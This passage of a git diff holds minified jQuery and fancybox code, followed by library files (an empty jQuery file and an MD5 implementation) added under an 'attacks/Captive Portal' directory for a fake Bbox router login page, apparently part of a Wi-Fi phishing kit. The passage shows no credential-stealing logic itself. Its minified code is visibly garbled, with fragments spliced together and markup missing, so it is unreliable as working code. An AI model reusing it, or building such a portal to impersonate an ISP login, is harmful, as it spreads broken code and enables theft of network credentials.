a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
      "],col:[2,"","
      "],tr:[2,"","
      "],td:[3,"","
      "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("').appendTo(m);N();break}},$=function(){if(u.is(":visible")){b("div", +u).css("top",I*-40+"px");I=(I+1)%12}else clearInterval(H)},aa=function(){if(!b("#fancybox-wrap").length){b("body").append(m=b('
      '),u=b('
      '),x=b('
      '),g=b('
      '));if(!b.support.opacity){g.addClass("fancybox-ie");u.addClass("fancybox-ie")}D=b('
      ').append('
      ').appendTo(g); +D.append(i=b('
      '),z=b(''),A=b(''),B=b(''));z.click(b.fancybox.close);u.click(b.fancybox.cancel);A.click(function(a){a.preventDefault();b.fancybox.prev()});B.click(function(a){a.preventDefault();b.fancybox.next()});if(O){x.get(0).style.setExpression("height", +"document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px'");u.get(0).style.setExpression("top","(-20 + (document.documentElement.clientHeight ? document.documentElement.clientHeight/2 : document.body.clientHeight/2 ) + ( ignoreMe = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop )) + 'px'");D.prepend('')}}}; +b.fn.fancybox=function(a){b(this).data("fancybox",b.extend({},a,b.metadata?b(this).metadata():{})).unbind("click.fb").bind("click.fb",function(d){d.preventDefault();if(!h){h=true;b(this).blur();q=[];p=0;d=b(this).attr("rel")||"";if(!d||d==""||d==="nofollow")q.push(this);else{q=b("a[rel="+d+"], area[rel="+d+"]");p=q.index(this)}C();return false}});return this};b.fancybox=function(a,d){if(!h){h=true;d=typeof d!=="undefined"?d:{};q=[];p=d.index||0;if(b.isArray(a)){for(var f=0,o=a.length;fq.length||p<0)p=0;C()}};b.fancybox.showActivity=function(){clearInterval(H);u.show();H=setInterval($,66)};b.fancybox.hideActivity=function(){u.hide()};b.fancybox.next=function(){return b.fancybox.pos(n+1)};b.fancybox.prev=function(){return b.fancybox.pos(n- +1)};b.fancybox.pos=function(a){if(!h){a=parseInt(a,10);if(a>-1&&j.length>a){p=a;C()}if(c.cyclic&&j.length>1&&a<0){p=j.length-1;C()}if(c.cyclic&&j.length>1&&a>=j.length){p=0;C()}}};b.fancybox.cancel=function(){if(!h){h=true;b.event.trigger("fancybox-cancel");J();e&&b.isFunction(e.onCancel)&&e.onCancel(q,p,e);h=false}};b.fancybox.close=function(){function a(){x.fadeOut("fast");g.hide();b.event.trigger("fancybox-cleanup");i.empty();b.isFunction(c.onClosed)&&c.onClosed(j,n,c);j=e=[];n=p=0;c=e={};h=false} +if(!(h||g.is(":hidden"))){h=true;if(c&&b.isFunction(c.onCleanup))if(c.onCleanup(j,n,c)===false){h=false;return}J();b(z.add(A).add(B)).hide();b("#fancybox-title").remove();g.add(i).add(x).unbind();b(window).unbind("resize.fb scroll.fb");b(document).unbind("keydown.fb");i.css("overflow","hidden");if(c.transitionOut=="elastic"){k=Q();var d=g.position();l={top:d.top,left:d.left,width:g.width(),height:g.height()};if(c.opacity)l.opacity=1;y.prop=1;b(y).animate({prop:0},{duration:c.speedOut,easing:c.easingOut, +step:M,complete:a})}else g.fadeOut(c.transitionOut=="none"?0:c.speedOut,a)}};b.fancybox.resize=function(){var a,d;if(!(h||g.is(":hidden"))){h=true;a=i.wrapInner("
      ").children();d=a.height();g.css({height:d+c.padding*2+v});i.css({height:d});a.replaceWith(a.children());b.fancybox.center()}};b.fancybox.center=function(){h=true;var a=K(),d=c.margin,f={};f.top=a[3]+(a[1]-(g.height()-v+40))*0.5;f.left=a[2]+(a[0]-(g.width()+40))*0.5;f.top=Math.max(a[3]+d,f.top);f.left=Math.max(a[2]+ +d,f.left);g.css(f);h=false};b.fn.fancybox.defaults={padding:10,margin:20,opacity:false,modal:false,cyclic:false,scrolling:"auto",width:560,height:340,autoScale:true,autoDimensions:true,centerOnScroll:false,ajax:{},swf:{wmode:"transparent"},hideOnOverlayClick:true,hideOnContentClick:false,overlayShow:true,overlayOpacity:0.3,overlayColor:"#666",titleShow:true,titlePosition:"outside",titleFormat:null,transitionIn:"fade",transitionOut:"fade",speedIn:300,speedOut:300,changeSpeed:300,changeFade:"fast", +easingIn:"swing",easingOut:"swing",showCloseButton:true,showNavArrows:true,enableEscapeButton:true,onStart:null,onCancel:null,onComplete:null,onCleanup:null,onClosed:null};b(document).ready(function(){aa()})})(jQuery); diff --git a/attacks/Captive Portal/sites/Bbox_fr.portal/js/jquery-1.4.1.min.js b/attacks/Captive Portal/sites/Bbox_fr.portal/js/jquery-1.4.1.min.js new file mode 100644 index 0000000..e69de29 diff --git a/attacks/Captive Portal/sites/Bbox_fr.portal/js/jquery.form.js b/attacks/Captive Portal/sites/Bbox_fr.portal/js/jquery.form.js new file mode 100644 index 0000000..e69de29 diff --git a/attacks/Captive Portal/sites/Bbox_fr.portal/js/md5.js b/attacks/Captive Portal/sites/Bbox_fr.portal/js/md5.js new file mode 100644 index 0000000..81c9bfa --- /dev/null +++ b/attacks/Captive Portal/sites/Bbox_fr.portal/js/md5.js @@ -0,0 +1,265 @@ +/* + + + + + +*/ + +/* + * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message + * Digest Algorithm, as defined in RFC 1321. + * Version 2.1 Copyright (C) Paul Johnston 1999 - 2002. + * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet + * Distributed under the BSD License + * See http://pajhome.org.uk/crypt/md5 for more info. + */ + +/* + * Configurable variables. You may need to tweak these to be compatible with + * the server-side, but the defaults work in most cases. + */ +var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */ +var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */ +var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */ + +/* + * These are the functions you'll usually want to call + * They take string arguments and return either hex or base-64 encoded strings + */ +function hex_md5(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));} +function b64_md5(s){ return binl2b64(core_md5(str2binl(s), s.length * chrsz));} +function str_md5(s){ return binl2str(core_md5(str2binl(s), s.length * chrsz));} +function hex_hmac_md5(key, data) { return binl2hex(core_hmac_md5(key, data)); } +function b64_hmac_md5(key, data) { return binl2b64(core_hmac_md5(key, data)); } +function str_hmac_md5(key, data) { return binl2str(core_hmac_md5(key, data)); } + +/* + * Perform a simple self-test to see if the VM is working + */ +function md5_vm_test() +{ + return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"; +} + +/* + * Calculate the MD5 of an array of little-endian words, and a bit length + */ +function core_md5(x, len) +{ + /* append padding */ + x[len >> 5] |= 0x80 << ((len) % 32); + x[(((len + 64) >>> 9) << 4) + 14] = len; + + var a = 1732584193; + var b = -271733879; + var c = -1732584194; + var d = 271733878; + + for(var i = 0; i < x.length; i += 16) + { + var olda = a; + var oldb = b; + var oldc = c; + var oldd = d; + + a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936); + d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586); + c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819); + b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330); + a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897); + d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426); + c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341); + b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983); + a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416); + d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417); + c = md5_ff(c, d, a, b, x[i+10], 17, -42063); + b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162); + a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682); + d = md5_ff(d, a, b, c, x[i+13], 12, -40341101); + c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290); + b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329); + + a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510); + d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632); + c = md5_gg(c, d, a, b, x[i+11], 14, 643717713); + b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302); + a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691); + d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083); + c = md5_gg(c, d, a, b, x[i+15], 14, -660478335); + b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848); + a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438); + d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690); + c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961); + b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501); + a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467); + d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784); + c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473); + b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734); + + a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558); + d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463); + c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562); + b = md5_hh(b, c, d, a, x[i+14], 23, -35309556); + a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060); + d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353); + c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632); + b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640); + a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174); + d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222); + c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979); + b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189); + a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487); + d = md5_hh(d, a, b, c, x[i+12], 11, -421815835); + c = md5_hh(c, d, a, b, x[i+15], 16, 530742520); + b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651); + + a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844); + d = md5_ii(d, a, b, c, x[i+ 7], 10, 